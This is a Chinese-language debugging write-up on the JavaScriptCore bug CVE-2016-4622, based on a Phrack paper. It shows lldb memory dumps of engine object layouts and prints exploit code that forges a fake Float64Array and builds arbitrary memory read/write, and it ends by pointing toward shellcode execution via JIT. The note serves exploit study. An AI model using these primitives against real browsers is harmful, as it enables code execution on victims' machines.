CVE-2016-4622调试笔记(PART II)

0x00 摘要

本文基于saelophrack上发表的Attacking JavaScript Engines一文,记录了调试的过程。

POC

CVE-2016-4622调试笔记记录最基本的漏洞触发过程的调试。

本文记录更高级利用技巧的调试过程。

0x01 数据结构

1.1 JSCell && JSObject

通过阅读源码JSCell的结构中的成员变量如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class JSCell {
friend class JSValue;
friend class MarkedBlock;
template<typename T> friend void* allocateCell(Heap&);
template<typename T> friend void* allocateCell(Heap&, size_t);

/*...*/
private:
friend class LLIntOffsetsExtractor;

StructureID m_structureID;
IndexingType m_indexingType;
JSType m_type;
TypeInfo::InlineTypeFlags m_flags;
uint8_t m_gcData;
};

JSCell一共有5个成员变量,具体每个变量有什么用,在saelo的文章中介绍的很清楚,在5.2 - JSObject internals一节中。

通过阅读源码JSObject的结构中成员变量如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class JSObject : public JSCell {
friend class BatchedTransitionOptimizer;
friend class JIT;
friend class JSCell;
friend class JSFinalObject;
friend class MarkedBlock;
JS_EXPORT_PRIVATE friend bool setUpStaticFunctionSlot(ExecState*, const HashTableValue*, JSObject*, PropertyName, PropertySlot&);

enum PutMode {
PutModePut,
PutModeDefineOwnProperty,
};
/*....*/
protected:
CopyWriteBarrier<Butterfly> m_butterfly;
#if USE(JSVALUE32_64)
private:
uint32_t m_padding;
#endif
};

JSObject只有一个成员变量m_butterfly,存储JSObject中存储的数据。

通过lldb调试poc.js,验证源码分析的结论。

1
2
3
4
5
6
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print (b);
1
(lldb) p this
(JSC::JSArray *) $0 = 0x0000000106fc7ed0
(lldb) memory read --format x --size 8 --count 10 0x0000000106fc7ed0
0x106fc7ed0: 0x010814070000004d 0x00000001069e4170
0x106fc7ee0: 0x010814030000004b 0x00000001069e4148
0x106fc7ef0: 0x01081400000000b9 0x00000001069e3028
0x106fc7f00: 0x01081400000000b8 0x00000001069e2b48
0x106fc7f10: 0x01001400000000b7 0x00000001069e2a68
(lldb) p *this
(JSC::JSArray) $1 = {
  JSC::JSNonFinalObject = {
    JSC::JSObject = {
      JSC::JSCell = {
        m_structureID = 77
        m_indexingType = '\a'
        m_type = ObjectType
        m_flags = '\b'
        m_cellState = NewWhite
      }
      m_butterfly = {
        JSC::CopyBarrierBase = (m_value = 0x00000001069e4170)
      }
    }
  }
}

可以看到第一个dword就是JSCell的内容(0x010814070000004d),第二个dword就是m_butterfly的内容(0x00000001069e4170)。

0x010814070000004d可以通过这个数据结构来解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
union {
struct {
StructureID structureID;
IndexingType indexingType;
JSType type;
TypeInfo::InlineTypeFlags inlineTypeFlags;
JSCell::GCData defaultGCData;
} fields;
struct {
int32_t word1;
int32_t word2;
} words;
int64_t doubleWord;
} u;

1.2 JSObject internals

如果一个JSObject的成员少于6个(默认情况),就不会去使用butterfly存储数据,而是紧跟着JSObject的数据结构线性的存放在内存中。

通过调试如下代码,验证该特性。

1
2
obj = {'a': 0x1337, 'b': false, 'c': 13.37, 'd': [1,2,3,4]};
Object.getOwnPropertyNames(obj)

JSObject::getOwnPropertyNames函数处下断点,观察obj的内存结构。

1
Process 76862 stopped
* thread #1: tid = 0x2f6b12, 0x0000000100d01cca JavaScriptCore`JSC::JSObject::getOwnPropertyNames(object=0x00000001065d09d0, exec=0x00007fff5fbfd940, propertyNames=0x00007fff5fbfd890, mode=(m_dontEnumPropertiesMode = Include, m_jsObjectPropertiesMode = Include)) + 170 at JSObject.cpp:1789, queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x0000000100d01cca JavaScriptCore`JSC::JSObject::getOwnPropertyNames(object=0x00000001065d09d0, exec=0x00007fff5fbfd940, propertyNames=0x00007fff5fbfd890, mode=(m_dontEnumPropertiesMode = Include, m_jsObjectPropertiesMode = Include)) + 170 at JSObject.cpp:1789
   1786	        return;
   1787	    }
   1788
-> 1789	    if (propertyNames.includeStringProperties()) {
   1790	        // Add numeric properties first. That appears to be the accepted convention.
   1791	        // FIXME: Filling PropertyNameArray with an identifier for every integer
   1792	        // is incredibly inefficient for large arrays. We need a different approach,
(lldb) p this
error: invalid use of 'this' outside of a non-static member function
(lldb) memory read --format x --size 8 --count 10 0x00000001065d09d0
0x1065d09d0: 0x01001500000000f4 0x0000000000000000
0x1065d09e0: 0xffff000000001337 0x0000000000000006
0x1065d09f0: 0x402bbd70a3d70a3d 0x00000001065c7ee0
0x1065d0a00: 0x010a1700000000ee 0x0000000105fe4148
0x1065d0a10: 0x00000001065e7900 0x00000001065a65c0

其结果确实如writeup中所述。

1
0x1065d09d0: 0x01001500000000f4 0x0000000000000000 //jscell,m_butterfly
0x1065d09e0: 0xffff000000001337 0x0000000000000006 //0x1337,false
0x1065d09f0: 0x402bbd70a3d70a3d 0x00000001065c7ee0 //13.37,[1,2,3,4]这个数组的地址。

1.3 StructureID

JSCell结构体中的m_structureID会在JS的虚拟机中索引到对应的Structure的数据结构,在JavaScriptStructure用来存储ObjectClass的信息,包括object中的属性。

Structure的头文件中定义出如下。

1
const ClassInfo* m_classInfo;

ClassInfo的定义中,MethodTable定义了一系列的函数指针,针对不同类型的Object,会有不同的实现。

所以在伪造Object的时候需要一个正确的StructureID,否则在调用MethodTable中的函数的时会导致崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct ClassInfo {
// A string denoting the class name. Example: "Window".
const char* className;

// Pointer to the class information of the base class.
// nullptrif there is none.
const ClassInfo* parentClass;

bool isSubClassOf(const ClassInfo* other) const
{

for (const ClassInfo* ci = this; ci; ci = ci->parentClass) {
if (ci == other)
return true;
}
return false;
}

bool hasStaticProperties() const
{

for (const ClassInfo* ci = this; ci; ci = ci->parentClass) {
if (ci->staticPropHashTable)
return true;
}
return false;
}

bool hasStaticSetterOrReadonlyProperties() const;

const HashTable* staticPropHashTable;

MethodTable methodTable;

TypedArrayType typedArrayStorageType;
};

1.4 JSArrayBufferView

在伪造Object的时候使用的是Float64Array,在JSC引擎中的实现是JSArrayBufferView

1
2
3
4
5
6
7
8
class JSArrayBufferView : public JSNonFinalObject {
public:
typedef JSNonFinalObject Base;
/*...*/
void* m_vector;
uint32_t m_length;
TypedArrayMode m_mode;
};

继承JSObject又添加了三个成员变量。m_vector存储了具体的数据。

1
+----------------+
| Float64Array   |
+----------------+
|  JSCell        |
|  butterfly     |
|  vector        |
|  length        |
|  mode          |
+----------------+

0x02 FakeObject

伪代码如下,具体细节可以看Attacking JavaScript Engines一文,这里添加一些注释更详细的解释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
sprayFloat64ArrayStructures(); //随机创建n个Float64Array的数组

// Create the array that will be used to
// read and write arbitrary memory addresses.
var hax = new Uint8Array(0x1000);
var jsCellHeader = new Int64([
00, 0x10, 00, 00, // m_structureID, current guess
0x0, // m_indexingType
0x27, // m_type, Float64Array
0x18, // m_flags, OverridesGetOwnPropertySlot |
// InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
0x1 // m_cellState, NewWhite
]);

//这里的container类比于1.2小节中的obj。构建了一个叫做container的object。
//jsCellHeader、butterfly、vector、lengthAndFlags
//这些都是container线性存储在m_butterfly指针后的数据。
var container = {
jsCellHeader: jsCellHeader.encodeAsJSVal(),
butterfly: false, // Some arbitrary value
vector: hax,
lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
};

// Create the fake Float64Array.
var address = Add(addrof(container), 16);
// container的地址加16,是为了跳过JSCell的值和m_butterfly的指针。
var fakearray = fakeobj(address);
// fakearry就死通过fakeobj获取到的伪造的object

//ps:
//addrof和fakeobj本文不做赘述,细节在Attacking JavaScript Engines原文中有详细描述。
//获取object的地址,通过地址获取fakeobj

// Find the correct structure ID.
// 通过对比寻找Float64Array对应的structure ID
while (!(fakearray instanceof Float64Array)) {
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
container.jsCellHeader = jsCellHeader.encodeAsJSVal();
}

通过lldb观察container的地址。

1
(lldb) memory read --format x --size 8 --count 10 0x0000000106c1e170
0x106c1e170: 0x0100150000001134 0x0000000000000000   -->JSCell,m_butterfly=NULL
0x106c1e180: 0x0118270000001000 0x0000000000000006   -->jsCellHeader,butterfly=false
0x106c1e190: 0x0000000106c173c0 0x0001000000000010   -->vector=hax,lengthAndFlags
0x106c1e1a0: 0x010a170000000031 0x0000000000000000
0x106c1e1b0: 0x0000000106c1e1d0 0x0000000106d8bd80

就和之前提到的一样,因为属性少于6个,m_butterfly是NULL。

通过lldb观察fakearray的地址。

1
(lldb) p *(JSC::JSArrayBufferView*)0x106c1e180
(JSC::JSArrayBufferView) $0 = {
  JSC::JSNonFinalObject = {
    JSC::JSObject = {
      JSC::JSCell = {                                   -->jsCellHeader 
        m_structureID = 4096                            -->00, 0x10, 00, 00,
        m_indexingType = '\0'                           -->0x0, 
        m_type = Float64ArrayType                       -->0x27, 
        m_flags = '\x18'                                -->0x18,
        m_cellState = NewWhite                          -->0x1,
      }
      m_butterfly = {
        JSC::CopyBarrierBase = (m_value = 0x0000000000000006) -->butterfly:false
      }
    }
  }
  m_vector = {
    JSC::CopyBarrierBase = (m_value = 0x0000000106c173c0)  -->vector: hax
  }
  m_length = 16           --> lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
  m_mode = 65536
}

0x03 任意内存读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
memory = {
read: function(addr, length) {
print("[<] Reading " + length + " bytes from " + addr);
fakearray[2] = addr.asDouble();
var a = new Array(length);
for (var i = 0; i < length; i++)
a[i] = hax[i];
return a;
},

readInt64: function(addr) {
return new Int64(this.read(addr, 8));
},

write: function(addr, data) {
print("[>] Writing " + data.length + " bytes to " + addr);
fakearray[2] = addr.asDouble();
for (var i = 0; i < data.length; i++)
hax[i] = data[i];
},

writeInt64: function(addr, val) {
return this.write(addr, val.bytes());
}
};
1
(lldb) memory read --format x --size 8 --count 10 0x0000000106c1e170
0x106c1e170: 0x0100150000001134 0x0000000000000000   
0x106c1e180: 0x0118270000001000 0x0000000000000006   -->fakearray[0],fakearray[1]
0x106c1e190: 0x0000000106c173c0 0x0001000000000010   -->fakearray[2],fakearray[3]
0x106c1e1a0: 0x010a170000000031 0x0000000000000000
0x106c1e1b0: 0x0000000106c1e1d0 0x0000000106d8bd80

这里的fakearray的值就是上面的0x106c1e180

所以fakearray[2]指向了vector,也就是hax

1
[<] Reading 8 bytes from 0x0000000106dda180
Process 78730 stopped
* thread #1: tid = 0x30b3dc, 0x000000010034300f JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd7d0) + 15 at ArrayPrototype.cpp:851, queue = 'com.apple.main-thread', stop reason = breakpoint 1.2
    frame #0: 0x000000010034300f JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd7d0) + 15 at ArrayPrototype.cpp:851
   848 	EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
   849 	{
   850 	    // http://developer.netscape.com/docs/manuals/js/client/jsref/array.htm#1193713 or 15.4.4.10
-> 851 	    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
   852 	    if (!thisObj)
   853 	        return JSValue::encode(JSValue());
   854 	    unsigned length = getLength(exec, thisObj);
(lldb) memory read --format x --size 8 --count 10 0x0000000106c173c0
0x106c173c0: 0x01182200000000fa 0x0000000000000000  <--hax:JSCell,hax:m_butterfly
0x106c173d0: 0x0000000106dda180 0x0000000100001000  <--hax:vector地址变成了要读取的地址
0x106c173e0: 0x0118270000001132 0x0000000105d9f0d0
0x106c173f0: 0x0000000105d9f0a0 0x0000000000000001
0x106c17400: 0x0118270000001131 0x0000000105d9f0a8
(lldb) c
Process 78730 resuming
[>] Writing 8 bytes to 0x0000000106c1e170
Process 78730 stopped
* thread #1: tid = 0x30b3dc, 0x000000010034300f JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd7d0) + 15 at ArrayPrototype.cpp:851, queue = 'com.apple.main-thread', stop reason = breakpoint 1.2
    frame #0: 0x000000010034300f JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd7d0) + 15 at ArrayPrototype.cpp:851
   848 	EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
   849 	{
   850 	    // http://developer.netscape.com/docs/manuals/js/client/jsref/array.htm#1193713 or 15.4.4.10
-> 851 	    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
   852 	    if (!thisObj)
   853 	        return JSValue::encode(JSValue());
   854 	    unsigned length = getLength(exec, thisObj);
(lldb) memory read --format x --size 8 --count 10 0x0000000106c173c0
0x106c173c0: 0x01182200000000fa 0x0000000000000000 <--hax:JSCell,hax:m_butterfly
0x106c173d0: 0x0000000106c1e170 0x0000000100001000 <--hax:vector地址变成了要写入的地址
0x106c173e0: 0x0118270000001132 0x0000000105d9f0d0
0x106c173f0: 0x0000000105d9f0a0 0x0000000000000001
0x106c17400: 0x0118270000001131 0x0000000105d9f0a8
(lldb)

0x04 小结

本文记录了通过CVE-2016-4622实现任意内存读写的调试流程。是上一篇文章的延续。

有了任意内存读写的手段之后,下一步就是利用JIT调用shellcode了。

引用

[1] http://phrack.org/papers/attacking_javascript_engines.html

文章目录
  1. 1. 0x00 摘要
  2. 2. 0x01 数据结构
    1. 2.1. 1.1 JSCell && JSObject
    2. 2.2. 1.2 JSObject internals
    3. 2.3. 1.3 StructureID
    4. 2.4. 1.4 JSArrayBufferView
  3. 3. 0x02 FakeObject
  4. 4. 0x03 任意内存读写
  5. 5. 0x04 小结
  6. 6. 引用
,